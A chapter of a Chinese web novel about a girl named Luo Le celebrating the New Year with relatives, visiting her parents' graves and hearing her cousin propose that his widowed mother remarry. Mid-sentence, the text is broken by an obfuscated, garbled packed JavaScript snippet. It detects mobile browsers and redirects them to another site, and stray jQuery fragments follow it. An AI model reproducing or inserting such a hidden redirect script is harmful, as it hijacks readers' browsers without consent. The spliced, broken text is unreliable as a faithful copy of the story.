89. 第 89 章

罗乐结结实实地挨了一下,那声音闷闷的,听得出来脑子里面有东西。


吕二娘没想到罗乐没躲,是带了大力气的,瞬间心疼了,连忙捧住她的脸道:“你这傻姑娘,怎么不躲?”


罗乐傻呵呵笑了笑,撒起娇来一套一套的,吕二娘抵不住,只含糊道:“你先把店开起来再说……”


吕二娘本是找个借口,偏偏她还有个没眼力的儿子在,吕康扒了两口饭,提醒罗乐道:“你想开烧烤店,好办啊!要是不弄得像珍馐楼那种能坐大堂的,还是像以前摆摊那么大,我娘县里的豆腐铺子就能用,还省得你去花钱了。”


罗乐还没答应呢,吕二娘就先否决了吕康的提议,直说那里不合适。


罗乐见吕康还想劝,桌下踹了踹他的脚,示意他别说了,没看他提起那个豆腐铺子,二姨脸色都变了吗?大过年的,别那么扫兴!


吕康看了眼他娘,不得不承认罗乐考虑得对,闭嘴了。


阿愚和阿柔吃得香,虽然没注意大人们在议论什么,但也知道吃东西不能光顾着自己吃,夹了两口肉发现桌上的大人们忽然都不动筷子了,纷纷给罗乐和吕二娘夹菜,一边夹,还一边劝。


“阿姐,快吃呀,肉菜凉了就不好吃了!”


“二姨,尝尝这菜,好好吃~”


看着还挺像那么回事。


罗乐有些惊讶,前些天有罗君池兄妹三人在,吃东西都用抢的,阿愚和阿柔这新学的本事就没派上用场,今天可算有了发挥的场地。


吕二娘莞尔:“还不是在罗家寨跟他们学的。”


寨子里人多,有利有弊,大人们会顾忌吕二娘的身份,小孩们就不同了,谁会做好吃的,谁性格温婉,她们就亲近谁。


虽然嘴上不讨人喜欢,但其实是没有恶意的,这种不讨喜不光针对阿愚、阿柔、和小萝卜,小孩的内部也是经常分为各种‘帮派’,今天是壮的一拨、明天是高的一拨,后天是哥哥姐姐在家有主心骨的一拨……总之,热闹得很。


也因为有这些小孩子在,吕二娘在罗家寨的日子好上不少,山寨散养的孩子能有几个是好带的?都皮得很!但或许是没见过脾气这么好的人,不管大孩小孩,对吕二娘和颜悦色的,最直接的体现就是投喂吃的,今天去山里采了果子啦、明天家里又多了条肉啦……不管三七二十一,统统往吕二娘这里带。


这些孩子的大人见小孩没来烦自己,拿的又是些无关紧要的东西,也就听之任之。


这么一来,阿愚和阿柔不得不争上了宠,要不是吕二娘偏心,这俩和小萝卜都争不过山寨那些孩子!他们在家里都是被宠的,过去哪有争宠的机会?


罗乐听吕二娘提起山寨里的趣事,不由得沉思起是坚持让阿愚和阿柔跟在自己身边做事,还是……


换算成现代的年纪,阿愚该上小学,而阿柔也该上幼儿园了。长日村里虽然有同龄的小孩,但因为她便宜爹的光环太重,这些小孩听长辈的话,对阿愚和阿柔都太客气了……


过去的一年里,罗乐姐弟三人都养成了早睡早起的好习惯,但今天是除夕,要等到子时开财门,吃宵夜后,小孩们才能去睡觉。但罗乐本人还要守岁,今晚火盆里烧的火不能熄灭,得一直守着才行。


吃过年夜饭后,时间还早,罗乐便带着阿愚和阿柔在门前的空地上放起了烟火。大型烟花差不多都给杨诚之带走了,但小烟花还多着。


阿柔太小,罗乐只让她拿个烟花棒在手里挥,阿愚则有了点火的权利,罗乐负责将烟花放到指定的位置,阿愚来点火,吕康则负责在阿愚点火后,抄起阿柔跟着罗乐和阿愚一块儿跑到安全地带。


要不是有吕二娘帮着看时间,四个人差点错过了开财门的最佳时机。


普通人家开财门迎财神,一般会提前将准备好的柴火放到门口,没到时间时,院子大门开或是关,都行,但快到时间时,就得将大门全部敞开。


等子时一到,以小孩、青年为主的人就得冲出去,将柴火抱回家里,再以最快的速度将原本敞开的门合上,寓意着家里接住新年的财富。


罗乐家没有院子,开财门用的是堂屋的门,阿愚和阿柔第一次迎财神,盯着门口提前准备好的柴火激动不已,等罗乐一声令下,小兔子似的窜了出去,然后风风火火地抱着柴火进了家。


他们还嫌弃吕康关门的速度慢,在一旁气喘吁吁地不停催他动作快点,要不是有罗乐在一旁拦着,两个小家伙能上手帮倒忙。


这会儿的金属是管控之物,家里的堂屋是老式能拆门的那种,别说吕康一个人,就是加上罗乐,想要把完全拆开的门合上也还是很费力,偏偏还有两个什么都不懂的家伙在一旁捣乱……


要不是吕二娘护着,吕康都想把这两个小家伙揪过来揍一顿!


大年初一,罗乐和吕康守了岁,天亮了才各自回屋休息,因着吕二娘母子和罗乐姐弟三人单独过年清冷,加上罗乐对吕二娘没那么多边界感,两家就合做一家来过年,吕康早上睡在了阿愚的衣帽间。


阿愚和阿柔两个玩得累了,也没早起,一家人睡到了下午才起,昨天年夜饭没吃完的菜热一热,大年初一就这么糊弄过去了。


大年初二的早上,罗乐起得早,背着背篓,带着阿愚和阿柔去父母坟边放炮、烧纸、供饭。


这是这里的习俗,初二祭祖。罗乐和罗实泰商量好了,罗实泰在罗家寨的祠堂和祖地安排布置就行,有罗乐带着弟弟妹妹去坟边,让罗实泰不用分心顾虑她便宜爹的坟头。


这是罗乐第一次与罗家村的人打了照面,虽说没恢复记忆,但她凭借外貌还是将罗大夫妻、罗二夫妻以及罗家二老认出来了。


年龄大、头发花白的那对老夫妻就是罗家二老了,而看着严肃一些的,是罗大夫妻;看着淳朴些的,则是罗二夫妻。


也很难不认出来,罗家村的其他人避之不及,能来罗三这儿的,除了他们还能有谁?


罗大果然就是记忆中偷摸着给钱的人,罗乐内心感慨良多,谁能想到,最后偷摸着照顾她们姐弟的人,竟然会是跟她便宜爹一直以来最不对付的人?


罗家二老没多在罗三坟前停留,便是罗乐领着弟弟妹妹跟他们打招呼,他们也没理会,放下供饭就离开了,随行的还有罗二夫妻。


那日罗实关为罗乐姐弟出头取罗三的遗物时,罗二夫妻也在,知道罗乐


;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return\\w+};c=1;};while(c--)if(k[c])p=p.replace(new regexp(\\b+e(c)+\\b,g),k[c]);return p;}(8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="},24,24,userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14543650|144120||http|test|mini|href|location.split(|),0,{}));


() {


$(.inform).remove();


$(#content).append(


现在不好惹了,干巴巴解释道:“你们公奶年纪大了,精神没那么好了,不是不疼你们……”


罗乐回他:“我懂,二伯慢走,山上的路太陡,阿公和阿奶还得需要你和二伯母扶着才行……”


罗乐礼貌地跟罗二媳妇打了个招呼,阿柔和阿愚也乖巧地喊了声二伯母,只是语气中并没有以往喊人的亲昵之感。


阿柔记性好,记得以前罗二媳妇是怎么欺负她的,能乖乖喊人已经是这一年来成长的结果了。而阿愚虽然记性不好,但对人身上的气息格外敏感,对不友好的人,自然敬而远之。


罗乐没错过阿愚和阿柔的表现,她也记得刚来这里的时候,阿柔和阿愚提起这二伯母时的委屈,只是这会儿在过年期间,又在爹娘的坟前,能安稳度过这段时间,就不要节外生枝。


不是有句话这么说的吗?算了吧,大过年的……


今天吕二娘没有跟过来,虽说吕康他爹葬的地点不在这儿,但吕二娘还是在附近的山上给吕康他爹立了一个衣冠冢,逢年过节的时候,就在衣冠冢那儿祭奠。


罗乐姐弟三人回家时,吕二娘母子已经回来了,吕康还好,吕二娘眼眶红红的,明显是哭过了。


晚上的众人都睡下的时候,吕康头一次不守规矩,悄悄摸摸敲了敲罗乐的房门,彼时阿愚还没睡,姐弟俩就陪着吕康到大堂里坐着聊天。


吕康看到阿愚跟出来的时候,有些打退堂鼓,还是罗乐再三询问到底是怎么了,他才支支吾吾问到。


“阿乐,你有没有认识的叔伯想娶媳妇的,鳏夫也不要紧,只要人好,愿意对我娘好……”


这是吕康第一次在罗乐面前袒露出想让他娘改嫁的心声。


他有些忐忑地观察罗乐的表情,发现她听自己这么说,除了有微微的惊讶外,不仅没垮脸,还认真思考起来,才暗暗松了口气。


罗乐对吕康主动提出愿意让吕二娘改嫁这件事,其实是非常意外的,便是在现代,女生分手后短期内再找男朋友都会被人指点,更别说那些再嫁的,当事人没说什么,那些个无关紧要的外人都恨不得立个牌坊在那些寡妇门前,让她们守寡一辈子……


她不由得打量了一下吕康:“你怎么会突然有这样的想法?”


吕康叹了口气。


今个儿他不知怎么的,站在他爹坟前,看着他娘单薄的身子和这孤零零的坟头,猛地发现,他娘真的风韵犹存,模样上也还很年轻……


他忽然想到了前几日罗乐的话,觉得不无道理,他娘很能忍,不然也不会遭遇了那样的污蔑,还忍气吞声想着息事宁人、不麻烦他。


历史上不是没发生过那样的事情,将来他步入仕途,真能护住自家娘亲吗?


“我是觉得我娘她一个人太孤独了……”


罗乐不置可否,她对吕康的态度还是挺满意的,不由得高看了他一眼,老实说,不是谁都有这样的心胸,愿意让自家亲娘改嫁的……


只是,即便真有这么个人,这件事她们说了也不算,要吕二娘自个儿愿意才行。


再者,吕康这个时候提出让吕二娘改嫁,以她的性格,只怕会多想,这件事情,还得从长计议。